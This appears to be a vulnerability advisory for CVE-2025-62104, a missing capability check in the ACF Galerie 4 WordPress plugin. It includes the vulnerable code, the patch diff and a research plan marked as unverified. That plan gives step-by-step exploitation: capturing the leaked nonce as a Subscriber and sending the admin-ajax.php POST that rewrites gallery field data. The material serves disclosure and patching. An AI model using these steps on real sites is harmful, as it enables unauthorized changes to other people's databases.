CVE-2025-62104

ACF Galerie 4 <= 1.4.2 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.4.3
Patched in
8d
Time to patch

Description

The ACF Galerie 4 plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.4.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.2
PublishedApril 23, 2026
Last updatedApril 30, 2026
Affected pluginacf-galerie-4

What Changed in the Fix

Changes introduced in v1.4.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2025-62104 (ACF Galerie 4 - Missing Authorization) ## 1. Vulnerability Summary The **ACF Galerie 4** plugin (versions <= 1.4.2) contains a missing authorization vulnerability in its migration functionality. Specifically, the AJAX handler `acfg4_start_migration` fa…

Show full research plan

Vulnerability Research Plan: CVE-2025-62104 (ACF Galerie 4 - Missing Authorization)

1. Vulnerability Summary

The ACF Galerie 4 plugin (versions <= 1.4.2) contains a missing authorization vulnerability in its migration functionality. Specifically, the AJAX handler acfg4_start_migration fails to perform a capability check (e.g., current_user_can('manage_options')). While it implements a nonce check, the nonce is exposed to any authenticated user who can access the WordPress admin dashboard (including the Subscriber role). An attacker with Subscriber-level access can trigger this migration process, which modifies existing Advanced Custom Fields (ACF) field definitions in the database, potentially disrupting the site's gallery functionality or altering data format in wp_postmeta.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: acfg4_start_migration
  • Method: POST
  • Parameters:
    • action: acfg4_start_migration (Required)
    • nonce: A valid nonce for the acfg4_start_migration_nonce action (Required)
    • migrate_from: Either 1 (ACF Photo Gallery Field) or 2 (ACF Gallery Pro) (Required)
  • Required Authentication: Subscriber or higher (Authenticated).
  • Preconditions: The plugin must be active. For the migration to have a visible effect, existing ACF fields of type photo_gallery or gallery should exist.

3. Code Flow

  1. Registration: In acf-galerie-4.php, the initialize_migration() function instantiates the acfg4_migration class.
  2. Hooking: In providers/class.migration.php, the constructor registers the AJAX action:
    add_action('wp_ajax_acfg4_start_migration', array($this, 'acfg4_start_migration'));
  3. Nonce Exposure: The function acfg4_start_migration_nonce() is hooked to admin_head. It checks if ( !is_admin() ) return;. Since the WordPress dashboard (/wp-admin/) is accessible to Subscribers, this function executes for them, printing:
    <script type="text/javascript">const acfg4_start_migration_nonce = "...";</script>
  4. Vulnerable Function: The acfg4_start_migration() function:
    • Verifies the nonce via wp_verify_nonce( $_POST['nonce'], 'acfg4_start_migration_nonce').
    • Checks if migrate_from is 1 or 2.
    • Crucially, it skips any current_user_can() check.
    • It queries wp_posts for post_type = 'acf-field'.
    • Iterates through fields and updates post_content (serialized metadata) if the field type is photo_gallery or gallery, changing it to galerie-4.
    • If migrate_from == 1, it also performs a regex-like migration on wp_postmeta associated with those fields.

4. Nonce Acquisition Strategy

The nonce is printed directly into the HTML of any admin page for a logged-in user.

  1. Login: Log in as a Subscriber.
  2. Navigate: Navigate to /wp-admin/profile.php (standard landing page for Subscribers).
  3. Extract: Use browser_eval to extract the global JavaScript variable.
  4. Target Variable: window.acfg4_start_migration_nonce

5. Exploitation Strategy

  1. Data Setup: Create a test ACF field with type gallery (representing ACF Pro) or photo_gallery (representing the ACF Photo Gallery plugin).
  2. Authentication: Authenticate as a Subscriber-level user.
  3. Nonce Capture: Navigate to /wp-admin/profile.php and run browser_eval("window.acfg4_start_migration_nonce").
  4. Trigger Migration: Perform a POST request to admin-ajax.php using the http_request tool.

Request Details:

  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=acfg4_start_migration&nonce={{NONCE}}&migrate_from=2
    
    (Using migrate_from=2 to trigger the basic field type update).

6. Test Data Setup

  1. User: A user with the role subscriber.
  2. ACF Field: Since the plugin migrates existing fields, we must create an ACF field manually via WP-CLI to act as the "victim" data.
    # Create an ACF Field Group
    FIELD_GROUP_ID=$(wp post create --post_type=acf-field-group --post_title="Test Gallery Group" --post_status=publish --porcelain)
    
    # Create an ACF Field of type 'gallery' (simulating ACF Pro Gallery)
    # The 'post_content' must be a serialized array containing 'type' => 'gallery'
    FIELD_DATA='a:1:{s:4:"type";s:7:"gallery";}'
    wp post create --post_type=acf-field --post_excerpt="my_gallery_field" --post_content="$FIELD_DATA" --post_parent=$FIELD_GROUP_ID --post_status=publish
    

7. Expected Results

  • The AJAX response should be: {"success":true,"data":{"message":"Migration has successfully completed."}}
  • The database record for the ACF field created in the setup phase should have its post_content updated.

8. Verification Steps

  1. Check Post Content: Use WP-CLI to inspect the post_content of the ACF field.
    wp db query "SELECT post_content FROM wp_posts WHERE post_type = 'acf-field' AND post_excerpt = 'my_gallery_field'"
    
  2. Verify Transformation: Confirm that the serialized string now contains s:9:"galerie-4" instead of s:7:"gallery".
    • Before: a:1:{s:4:"type";s:7:"gallery";}
    • After: a:1:{s:4:"type";s:9:"galerie-4";}

9. Alternative Approaches

If the Subscriber cannot access /wp-admin/profile.php due to other security plugins:

  • The nonce is also enqueued via acfg4_start_migration_nonce in admin_head. If any other plugin page is accessible to Subscribers (e.g., a custom dashboard page), the nonce will be there.
  • Check if migrate_from=1 produces observable changes in wp_postmeta. If a post has metadata associated with the field name my_gallery_field, the migration will attempt to serialize comma-separated values into a PHP array.
    • Setup meta: wp post meta add [POST_ID] my_gallery_field "123,456,789"
    • After Exploit: wp post meta get [POST_ID] my_gallery_field should return a serialized array a:3:{i:0;s:3:"123";i:1;s:3:"456";i:2;s:3:"789";}.
Research Findings
Static analysis — not yet PoC-verified

Summary

The ACF Galerie 4 plugin for WordPress (versions <= 1.4.2) fails to perform a capability check in its AJAX migration handler. This allow authenticated users, including those with Subscriber-level access, to trigger a migration process that alters ACF field definitions and transforms post metadata in the database.

Vulnerable Code

// providers/class.migration.php

    function acfg4_start_migration_nonce() {
        if ( !is_admin() ) return;
        $nonce = wp_create_nonce('acfg4_start_migration_nonce');
    ?>
        <script type="text/javascript">const acfg4_start_migration_nonce = "<?php echo $nonce; ?>";</script>
    <?php
    }

---

// providers/class.migration.php, around line 37

    public function acfg4_start_migration() {
        global $wpdb;
        $wpdb->query('START TRANSACTION');

        try {
            $migrate_from = $_POST['migrate_from'];

            if (
                isset( $_POST['nonce'] ) &&
                !wp_verify_nonce( $_POST['nonce'], 'acfg4_start_migration_nonce') )
            {
                wp_send_json_error(['message' => "Nonce verification failed. Please try again."], 400);
            }

            if( !in_array( $migrate_from, [1, 2] ) ){
                wp_send_json_error(['message' => "Choose which plugin you want to migrate from."], 400);
            }

            $fields = $wpdb->get_results("SELECT * FROM {$wpdb->posts} WHERE post_type = 'acf-field'");

            foreach( $fields as $field ){
                $field_name = $field->post_excerpt;
                $field_metadata = unserialize( $field->post_content );
                $field_type = $field_metadata['type'];

                if( in_array( $field_type, ['photo_gallery', 'gallery'])){
                    $field_metadata['type'] = 'galerie-4'; 
                    $updated_content = serialize($field_metadata);

                    $wpdb->update(
                        $wpdb->posts,
                        array( 'post_content' => $updated_content ),
                        array( 'ID' => $field->ID )
                    );
...

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/acf-galerie-4/1.4.2/providers/class.migration.php	2025-02-10 06:44:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/acf-galerie-4/1.4.3/providers/class.migration.php	2025-12-20 23:27:00.000000000 +0000
@@ -18,7 +18,7 @@
     }
     
     function acfg4_start_migration_nonce() {
-        if ( !is_admin() ) return;
+        if ( ! current_user_can('manage_options') ) return;
         $nonce = wp_create_nonce('acfg4_start_migration_nonce');
     ?>
         <script type="text/javascript">const acfg4_start_migration_nonce = "<?php echo $nonce; ?>";</script>
@@ -26,27 +26,41 @@
     }
 
     public function enqueue_plugin_admin_scripts() {
-        wp_enqueue_script('acfg4-admin-script', ACFG4_PLUGIN_URL . 'assets/js/admin-script.js', ['jquery'], '1.0.0', true);
+        if ( current_user_can('manage_options') ) {
+            wp_enqueue_script('acfg4-admin-script', ACFG4_PLUGIN_URL . 'assets/js/admin-script.js', ['jquery'], '1.0.0', true);
+        }
     }
 
     public function enqueue_plugin_admin_styles() {
-        wp_enqueue_style('acfg4-admin-css', ACFG4_PLUGIN_URL . 'assets/css/admin-style.css', [], '1.0.0');
+        if ( current_user_can('manage_options') ) {
+            wp_enqueue_style('acfg4-admin-css', ACFG4_PLUGIN_URL . 'assets/css/admin-style.css', [], '1.0.0');
+        }
     }
 
     public function acfg4_start_migration() {
+        if ( ! current_user_can('manage_options') ) {
+            wp_send_json_error(
+                ['message' => 'Unauthorized'],
+                403
+            );
+        }
+        
+        if (
+            ! isset($_POST['nonce']) ||
+            ! wp_verify_nonce($_POST['nonce'], 'acfg4_start_migration_nonce')
+        ) {
+            wp_send_json_error(
+                ['message' => 'Invalid or missing nonce'],
+                400
+            );
+        }
+
         global $wpdb;
         $wpdb->query('START TRANSACTION');
 
         try {
             $migrate_from = $_POST['migrate_from'];
 
-            if (
-                isset( $_POST['nonce'] ) &&
-                !wp_verify_nonce( $_POST['nonce'], 'acfg4_start_migration_nonce') )
-            {
-                wp_send_json_error(['message' => "Nonce verification failed. Please try again."], 400);
-            }
-
             if( !in_array( $migrate_from, [1, 2] ) ){
                 wp_send_json_error(['message' => "Choose which plugin you want to migrate from."], 400);
             }

Exploit Outline

To exploit this vulnerability, an attacker first logs into the WordPress site as a Subscriber. They then access any administrative page (such as /wp-admin/profile.php) to obtain the 'acfg4_start_migration_nonce', which is automatically printed into the page's HTML for any user in the admin area. Once the nonce is acquired, the attacker makes a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'acfg4_start_migration', the 'nonce' parameter populated with the captured nonce, and 'migrate_from' set to 1 or 2. This triggers the acfg4_start_migration function, which proceeds to update ACF field definitions in the wp_posts table and potentially re-serializes gallery data in the wp_postmeta table without verifying that the user has the 'manage_options' capability.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.